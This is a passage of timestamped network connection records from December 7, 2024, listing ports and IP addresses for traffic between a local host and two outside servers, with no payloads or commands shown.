Dec 7, 2024 08:43:38.015883923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.016503096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.016642094 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.016695976 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.017333984 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.017390966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.017461061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.017507076 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.018194914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.018241882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.018275023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.018320084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.019083023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.019131899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.019148111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.019191980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.019931078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.019979954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.020051003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.020092010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.020695925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.020716906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.021245003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.021573067 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.021686077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.021733046 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.022416115 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.022459984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.022491932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.022538900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.023230076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.023268938 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.069101095 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.069773912 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.069783926 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.070285082 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.070288897 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.146986008 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.147439003 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.147455931 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.147849083 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.147852898 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.171617985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.171658993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.171796083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.171967983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.172023058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.172095060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.172139883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.172857046 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.173000097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.173058987 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.173691034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.173810005 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.173867941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.174520016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.174566031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.174644947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.174695015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.175398111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.175452948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.175518990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.175564051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.176229000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.176290035 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.176347017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.176393986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.177083015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.177138090 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.177196980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.177241087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.177926064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.178044081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.178102970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.178760052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.178837061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.178950071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.179610968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.179666042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.179699898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.179742098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.180429935 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.180480957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.180514097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.180558920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.181271076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.181315899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.181369066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.181446075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.182141066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.182259083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.182308912 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.182955980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.183002949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.183053017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.183099985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.183800936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.183847904 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.183903933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.183948040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.184657097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.184698105 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.184731007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.184775114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.185503006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.185616970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.185666084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.186388969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.186436892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.186451912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.186489105 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.187226057 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.187239885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.187280893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.188020945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.188127995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.188179016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.188872099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.188936949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.188970089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.189023972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.189704895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.189810991 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.189867020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.190560102 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.190614939 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.190685987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.190732002 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.191418886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.191468000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.191504955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.191550016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.192240000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.192298889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.192332029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.192378044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.193120956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.193180084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.193217993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.193263054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.193948984 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.193994045 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.194086075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.194129944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.194761038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.194812059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.194894075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.194936037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.249351025 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.262824059 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.263165951 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.265568018 CET	49768	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.265582085 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.266304016 CET	49768	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.266309977 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.266396046 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.266724110 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.266741037 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.267865896 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.267870903 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.268059015 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.268071890 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.268467903 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.268472910 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.369096041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.504403114 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.504446030 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.504523039 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.509716034 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.509735107 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.509743929 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.509749889 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.513252020 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.513268948 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.513358116 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.513834000 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.513844967 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.581264019 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.581310987 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.581393003 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.581649065 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.581649065 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.581665993 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.581672907 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.584331036 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.584345102 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.584423065 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.584707975 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.584717989 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.686408043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.686573029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.686671019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.686800003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.686846972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.686881065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.686923027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.687701941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.687757969 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.687846899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.687891960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.688461065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.688657999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.688719988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.689285994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.689336061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.689399958 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.690160036 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.690208912 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.690270901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.690313101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.691051006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.691095114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.691251040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.691304922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.691865921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.691912889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.691961050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.692003012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.692689896 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.692742109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.692900896 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.692946911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.693603992 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.693756104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.693806887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.694360018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.694406986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.694441080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.694480896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.695200920 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.695250988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.695337057 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.695377111 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.696028948 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.696079016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.696213961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.696259975 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.696847916 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.696918964 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.696922064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.696978092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.697040081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.697063923 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.697088003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.697247982 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.697262049 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.697273016 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.697278976 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.697585106 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.697637081 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.697691917 CET	49768	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.697757959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.697801113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.697830915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.697870016 CET	49768	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.697877884 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.697880983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.698548079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.698662043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.698721886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.699464083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.699526072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.699527025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.699567080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.700352907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.700407982 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.700443029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.700484991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.700705051 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.700774908 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.700793982 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.700823069 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.700833082 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.700856924 CET	49773	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.700891018 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.700901031 CET	443	49773	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.700942993 CET	49773	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.701092005 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.701100111 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.701107979 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.701112986 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.701159954 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.701183081 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.701195002 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.701196909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.701200962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.701229095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.701306105 CET	49773	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.701318979 CET	443	49773	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.702017069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.702119112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.702171087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.702814102 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.702863932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.702908993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.702949047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.703198910 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.703207016 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.703701019 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.703759909 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.703831911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.703862906 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.703862906 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.703949928 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:38.703958988 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:38.704519987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.704633951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.704687119 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.705358028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.705446959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.705496073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.706140041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.706182003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.706243992 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.706288099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.707030058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.707083941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.707115889 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.707159042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.707820892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.707866907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.707926989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.707967997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.708695889 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.708734989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.708755016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.708794117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.709542990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.709636927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.709686041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.710356951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.710403919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.710469007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.710516930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.711226940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.711275101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.711302042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.711339951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:38.712071896 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:38.712117910 CET	49759	80	192.168.2.5	185.215.113.206
